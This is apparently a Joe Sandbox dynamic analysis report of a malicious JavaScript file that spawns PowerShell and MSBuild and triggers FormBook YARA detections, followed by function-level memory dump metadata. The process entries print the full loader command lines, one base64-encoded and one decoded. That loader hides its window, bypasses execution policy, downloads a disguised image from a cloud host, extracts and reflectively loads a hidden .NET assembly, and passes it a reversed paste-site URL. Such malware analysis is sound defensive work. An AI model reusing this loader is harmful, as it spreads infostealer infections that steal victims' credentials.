7ke9NuAzn1B+OGgZ4SG9WSvkJyqfGkmbSdPB4CYGddhLjKrrh01Xpfgl0JPVwOveXUBE8TXP3v8y7nJBxPhj2+RYEn6Zs84wVvFi6Ft4ARLwl4JbSZyRCVRDqy60mKcWqZE+LqiUU6VH48yVGfiUDrqGBm7HEgSF4ncDvmYwLjQRKSc8gkkw2xwZBniMGz68S8UcBAdjIWgdT64MupomKzgm6t0VpnsWAOvh7hQZ+Wr8D7BaLuNGlV4q1zGTZBm

Target ID:	0
Start time:	04:04:54
Start date:	03/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1013911.js"
Imagebase:	0x7ff77fac0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:04:58
Start date:	03/12/2024
Path:	C:\Windows\System32\cscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cscript.exe" C:\Users\user\AppData\Local\Temp\ostaxa.js
Imagebase:	0x7ff78bf60000
File size:	161'280 bytes
MD5 hash:	24590BF74BBBBFD7D7AC070F4E3C44FD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:04:58
Start date:	03/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:04:58
Start date:	03/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $zooiatrologia = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABtAGEAZAByAGkAZwBhAGwAZQB0AGUAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAHkAdABmAGwAdAA2ADEAbgAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwAzADEAMwA0ADkANAA3AC8AYgBrAGwAcAB5AHMAZQB5AGUAdQB0ADQAaQBtAHAAdwA1ADAAbgAxAC4AagBwAGcAIAAnADsAJAByAGUAbABhAHQAYQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAZAByAG8AIAA9ACAAJAByAGUAbABhAHQAYQByAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAG0AYQBkAHIAaQBnAGEAbABlAHQAZQApADsAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAGQAcgBvACkAOwAkAHgAYQBxAHUAZQBjAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGIAcgBpAG0AIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAYwBvAG4AdABlAG4AaABvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAeABhAHEAdQBlAGMAYQApADsAJABjAG8AbABhAHAAcwBvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAYgByAGkAbQApADsAJABjAG8AbgB0AGUAbgBoAG8AIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABjAG8AbABhAHAAcwBvACAALQBnAHQAIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYwBvAG4AdABlAG4AaABvACAAKwA9ACAAJAB4AGEAcQB1AGUAYwBhAC4ATABlAG4AZwB0AGgAOwAkAHEAdQBpAG4AYQBsACAAPQAgACQAYwBvAGwAYQBwAHMAbwAgAC0AIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYQBsAG0AZQBpAGQAaQBuAGEAIAA9ACAAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwBvAG4AdABlAG4AaABvACwAIAAkAHEAdQBpAG4AYQBsACkAOwAkAGIAdQBiAGUAbABhACAAPQAgAC0AagBvAGkAbgAgACgAJABhAGwAbQBlAGkAZABpAG4AYQAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYQBsAG0AZQBpAGQAaQBuAGEALgBMAGUAbgBnAHQAaAApAF0AOwAkAGEAZABqAHUAdABvAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgB1AGIAZQBsAGEAKQA7ACQAcABhAGQAcgBhAHMAdABvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGEAZABqAHUAdABvAHIAKQA7ACQAbQBhAG4AZAB1AGMAYQByACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQA7ACQAbQBhAG4AZAB1AGMAYQByAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAEAAKAAnADAALwBWAEEAZgB6ADUALwByAC8AZQBlAC4AZQB0AHMAYQBwAC8ALwA6AHMAcAB0AHQAaAAnACwAIAAnAHMAeQBtAHAAbwBzAGkAYQByAGMAaABhACcALAAgACcAcwB5AG0AcABvAHMAaQBhAHIAYwBoAGEAJwAsACAAJwBzAHkAbQBwAG8AcwBpAGEAcgBjAGgAYQAnACwAIAAnAE0AUwBCAHUAaQBsAGQAJwAsACAAJwBzAHkAbQBwAG8AcwBpAGEAcgBjAGgAYQAnACwAIAAnAHMAeQBtAHAAbwBzAGkAYQByAGMAaABhACcALAAnAHMAeQBtAHAAbwBzAGkAYQByAGMAaABhACcALAAnAHMAeQBtAHAAbwBzAGkAYQByAGMAaABhACcALAAnAHMAeQBtAHAAbwBzAGkAYQByAGMAaABhACcALAAnAHMAeQBtAHAAbwBzAGkAYQByAGMAaABhACcALAAnAHMAeQBtAHAAbwBzAGkAYQByAGMAaABhACcALAAnADEAJwAsACcAcwB5AG0AcABvAHMAaQBhAHIAYwBoAGEAJwApACkAOwBpAGYAIAAoACQAbgB1AGwAbAAgAC0AbgBlACAAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUAIAAtAGEAbgBkACAAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAWwB2AG8AaQBkAF0AJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAgAH0AIABlAGwAcwBlACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwBQAG8AdwBlAHIAUwBoAGUAbABsACAAdgBlAHIAcwBpAG8AbgAgAE4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAJwAgAH0AOwBpAGYAIAAoACQAbgB1AGwAbAAgAC0AbgBlACAAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUAIAAtAGEAbgBkACAAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAWwB2AG8AaQBkAF0AJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAgAH0AIABlAGwAcwBlACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwBQAG8AdwBlAHIAUwBoAGUAbABsACAAdgBlAHIAcwBpAG8AbgAgAE4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAJwAgAH0AOwA=';$atomismo = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($zooiatrologia));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $atomismo
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:04:58
Start date:	03/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:05:00
Start date:	03/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = New-Object System.Net.WebClient;$adro = $relatar.DownloadData($madrigalete);$oftalmoxise = [System.Text.Encoding]::UTF8.GetString($adro);$xaqueca = '<<BASE64_START>>';$brim = '<<BASE64_END>>';$contenho = $oftalmoxise.IndexOf($xaqueca);$colapso = $oftalmoxise.IndexOf($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.Length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.Substring($contenho, $quinal);$bubela = -join ($almeidina.ToCharArray() \| ForEach-Object { $_ })[-1..-($almeidina.Length)];$adjutor = [System.Convert]::FromBase64String($bubela);$padrasto = [System.Reflection.Assembly]::Load($adjutor);$manducar = [dnlib.IO.Home].GetMethod('VAI');$manducar.Invoke($null, @('0/VAfz5/r/ee.etsap//:sptth', 'symposiarcha', 'symposiarcha', 'symposiarcha', 'MSBuild', 'symposiarcha', 'symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','1','symposiarcha'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:05:25
Start date:	03/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x930000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.2570201674.0000000006950000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:05:41
Start date:	03/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\choice.exe"
Imagebase:	0xac0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2951402841.0000000004770000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2951435333.00000000047C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	04:06:08
Start date:	03/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.4%
Total number of Nodes:	46
Total number of Limit Nodes:	3

Executed Functions

Function 02D4F6B2 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 253
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32(38C7E5F5,000000A3), ref: 02D4F858

Strings

@, xrefs: 02D4F961
@, xrefs: 02D4F8E7

Memory Dump Source

Source File: 00000000.00000002.2391021607.0000000002CD0000.00000040.80000000.00040000.00000000.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cd0000_wscript.jbxd

Similarity

API ID: Sleep
String ID: @$@
API String ID: 3472027048-149943524
Opcode ID: 6d8da88b7346f02fe20e9cb9dc25188aad902ff77a71fa4c657e6043ba6aa1f6
Instruction ID: f57a410ac2805867f7ba244ec3adc048624e1a8d5e2734ff00f44ac1f98909b8
Opcode Fuzzy Hash: 6d8da88b7346f02fe20e9cb9dc25188aad902ff77a71fa4c657e6043ba6aa1f6
Instruction Fuzzy Hash: B4810471A18B488FD715DF28C88579EBBF1FB49704F10066EE8869B651DB30D946CBC2

Function 02D4F9BE Relevance: 3.1, APIs: 2, Instructions: 93
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 02D4FA27
NtResumeThread.NTDLL ref: 02D4FA9A

Memory Dump Source

Source File: 00000000.00000002.2391021607.0000000002CD0000.00000040.80000000.00040000.00000000.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cd0000_wscript.jbxd

Similarity

API ID: ResumeSleepThread
String ID:
API String ID: 1530989685-0
Opcode ID: 6b54275e8c1a73e1592ae6dc2e07807a4dee123f5e3800549bbfcaa29b564534
Instruction ID: cf3a061407c47cc844095ce202102b55a1e13cd5d68d5e2afbeb081d805701a9
Opcode Fuzzy Hash: 6b54275e8c1a73e1592ae6dc2e07807a4dee123f5e3800549bbfcaa29b564534
Instruction Fuzzy Hash: B321923061C74E8FDB68DF6894897AAB7E1FB54314F40062AD89AC77A1EF70C9428B41

Function 0000023761C22761 Relevance: 1.7, APIs: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2399010828.0000023761BF0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000023761BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23761bf0000_wscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6dd29ad9aacdc2860fb49854d899649d772ecc0fcfcd065333c638bb3e9719e
Instruction ID: 81fe9b02806e3c3751931daa4d6fbdba838afe80cebf5dac1f679f56a439d465
Opcode Fuzzy Hash: c6dd29ad9aacdc2860fb49854d899649d772ecc0fcfcd065333c638bb3e9719e
Instruction Fuzzy Hash: 85516C7251CB854FEB269A38D4AB3E9BBE4FB49310F0405ADD496CB193DB2AC543CB41

Function 02D4F74D Relevance: 1.7, APIs: 1, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2391021607.0000000002CD0000.00000040.80000000.00040000.00000000.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cd0000_wscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f63af62f1751b0b519fcbc299e089d5a1f9f81eaae433f90fe2cb0afb1a0a3a2
Instruction ID: ab0b121f00921d481e92cfaab8bc94c2c1e06b58a562e0f1a14baebf3576005e
Opcode Fuzzy Hash: f63af62f1751b0b519fcbc299e089d5a1f9f81eaae433f90fe2cb0afb1a0a3a2
Instruction Fuzzy Hash: 9841AF72A146998FC716CF7894846D8BBE1EF46324B1403EEC8919FB52EB214C47CBD1

Function 0000023761C234B7 Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0000023761C23500

Memory Dump Source

Source File: 00000000.00000002.2399010828.0000023761BF0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000023761BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23761bf0000_wscript.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e5d5344516f46b3e81ea50842ef477338357dbc782aafa192d6f0a2f948ed59a
Instruction ID: 5fea881eb6b136b67925bb8aa38c40ada72cd9d10664d951ea02be70cab22958
Opcode Fuzzy Hash: e5d5344516f46b3e81ea50842ef477338357dbc782aafa192d6f0a2f948ed59a
Instruction Fuzzy Hash: 2D2184B491CE184FEF76EB2884AF7AC76D4F749700F4415FAD54AC7187CB284A434A41

Function 0000023761C2B461 Relevance: 1.6, APIs: 1, Instructions: 70
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

connect.WS2_32 ref: 0000023761C2B4EE

Memory Dump Source

Source File: 00000000.00000002.2399010828.0000023761BF0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000023761BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23761bf0000_wscript.jbxd

Similarity

API ID: connect
String ID:
API String ID: 1959786783-0
Opcode ID: e29e028722582de79358f5980929e9c38a26178390aea9578061670c9bd084c5
Instruction ID: 8f9b13825dbf2a52a6e4a3a427efaaf73ed2f5304cc5983a530c8a33dac68e1e
Opcode Fuzzy Hash: e29e028722582de79358f5980929e9c38a26178390aea9578061670c9bd084c5
Instruction Fuzzy Hash: AF218E7090CB448FDF58EF18908EB5D77E0FB68300F1441AEE84DCB28BDA3485458B55

Function 0000023761C2B3B4 Relevance: 1.6, APIs: 1, Instructions: 69
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

send.WS2_32 ref: 0000023761C2B446

Memory Dump Source

Source File: 00000000.00000002.2399010828.0000023761BF0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000023761BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23761bf0000_wscript.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: ba031a3d4cf1e373f283f661f470c724b29e80ce24db05dc12c25fbb2c07280e
Instruction ID: d9cb3d318a4c9789340faf94482e409ad91ebe0b713e2ef02b0d1f476b4adfaa
Opcode Fuzzy Hash: ba031a3d4cf1e373f283f661f470c724b29e80ce24db05dc12c25fbb2c07280e
Instruction Fuzzy Hash: 5D116D7091CB488FDB58EF18908D75977E1FB98300F0405BEE84DC728ADE3489458B96

Function 02D4F7E7 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32(38C7E5F5,000000A3), ref: 02D4F858

Memory Dump Source

Source File: 00000000.00000002.2391021607.0000000002CD0000.00000040.80000000.00040000.00000000.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cd0000_wscript.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 10e1e9b701606f0124b0771689eefceb40515bdf1aaf5f9278386f980045e2bb
Instruction ID: 979c7cc5824ee70419f64e35a1c6f7dcaa25d63a0c80ed52bcf91b5fb398c01a
Opcode Fuzzy Hash: 10e1e9b701606f0124b0771689eefceb40515bdf1aaf5f9278386f980045e2bb
Instruction Fuzzy Hash: 75119C735087888FD7179F28D8813F9BBA1FB86318F60016EC0814AD65DB21D867C7C6

Function 0000023761C2B270 Relevance: 1.6, APIs: 1, Instructions: 65
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32 ref: 0000023761C2B2FB

Memory Dump Source

Source File: 00000000.00000002.2399010828.0000023761BF0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000023761BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23761bf0000_wscript.jbxd

Similarity

API ID: socket
String ID:
API String ID: 98920635-0
Opcode ID: fe0b27142001355644bb426f277d774d6a2c174b7954e7e7cc7144a6952ac7b8
Instruction ID: e3d127754e73e3c8e960b67cb4534a4221bcd486cc755183ce20eb98d9e0c12d
Opcode Fuzzy Hash: fe0b27142001355644bb426f277d774d6a2c174b7954e7e7cc7144a6952ac7b8
Instruction Fuzzy Hash: 69114F7091CB448FDB54EF18908A65AB7E1FB58300F0401BEE84DC724ADB7485458B95

Function 02D4F808 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32(38C7E5F5,000000A3), ref: 02D4F858

Memory Dump Source

Source File: 00000000.00000002.2391021607.0000000002CD0000.00000040.80000000.00040000.00000000.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cd0000_wscript.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 26b8d342742a942f3f10fee080c542171953fc59148f4b2c17e22cca1539cb05
Instruction ID: d90e74cd7301d41d652095460b3078b651771d22051af125516fdb872ad9b21f
Opcode Fuzzy Hash: 26b8d342742a942f3f10fee080c542171953fc59148f4b2c17e22cca1539cb05
Instruction Fuzzy Hash: BE116B329287588FDB2A9F24D8823F9BBA5FB45320F30069DC1C49B661EF369447C785

Function 0000023761C2287E Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32 ref: 0000023761C22915

Memory Dump Source

Source File: 00000000.00000002.2399010828.0000023761BF0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000023761BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23761bf0000_wscript.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 8753b0ec0e1895fe7b64e0b8d5929eea9c437e27af0331dd583a33202b4251b6
Instruction ID: 253c756d4a55c75cee7e62c41971d389118f38a3924d068aa02cef41a890cd78
Opcode Fuzzy Hash: 8753b0ec0e1895fe7b64e0b8d5929eea9c437e27af0331dd583a33202b4251b6
Instruction Fuzzy Hash: 9111A070528A484BFB65AF38C4AF39AB3E5FB48304F040569D415CA295DB7985438F51

Function 0000023761C22888 Relevance: 1.6, APIs: 1, Instructions: 53
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32 ref: 0000023761C22915

Memory Dump Source

Source File: 00000000.00000002.2399010828.0000023761BF0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000023761BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23761bf0000_wscript.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 1e4df429d26f78e91e6556a3025b62049a28ce1a09f8d99d8591f285986e6a9c
Instruction ID: 357d52887e72408582e918115cf40d3d796493f733396cc656c98817965d0f43
Opcode Fuzzy Hash: 1e4df429d26f78e91e6556a3025b62049a28ce1a09f8d99d8591f285986e6a9c
Instruction Fuzzy Hash: C0117C70528A488BFB65AF38C4AF39AB3E5FB88304F0545ADE419CB295CB79C5428F51

Function 0000023761C2B26D Relevance: 1.5, APIs: 1, Instructions: 42
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32 ref: 0000023761C2B2FB

Memory Dump Source

Source File: 00000000.00000002.2399010828.0000023761BF0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000023761BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23761bf0000_wscript.jbxd

Similarity

API ID: socket
String ID:
API String ID: 98920635-0
Opcode ID: 0a3178ebc698cf8a4f22abbfe3a156b37a5af2d2dc4df1d464aba0233826fa3c
Instruction ID: 783081e17b21819018104dd55da1353d3e3fda4d31cdb2078cbca3fa5f9612ea
Opcode Fuzzy Hash: 0a3178ebc698cf8a4f22abbfe3a156b37a5af2d2dc4df1d464aba0233826fa3c
Instruction Fuzzy Hash: FC018F3091CB488FDF55EF18908AB8EB3E4FB98300F0401BDE88EC7246DB3499428B51

Non-executed Functions

Function 02D60CEE Relevance: .6, Instructions: 573COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2391021607.0000000002CD0000.00000040.80000000.00040000.00000000.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cd0000_wscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78e32bb081a54d25d10cc2e8d26a26326b047f3cae17d704b2fbe8752b3dde9b
Instruction ID: 9e877ad802bb43290538e6bbb2bf20746e1abb37f1d5d089cd89ef18571cf9d5
Opcode Fuzzy Hash: 78e32bb081a54d25d10cc2e8d26a26326b047f3cae17d704b2fbe8752b3dde9b
Instruction Fuzzy Hash: B632477648E3C29FD7138B7488656917FB0AE1322975E85DFC0C0CF4A3E22D995AC722

Function 0000023761C33224 Relevance: .6, Instructions: 573COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2399010828.0000023761BF0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000023761BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23761bf0000_wscript.jbxd

Similarity

API ID:
String ID:
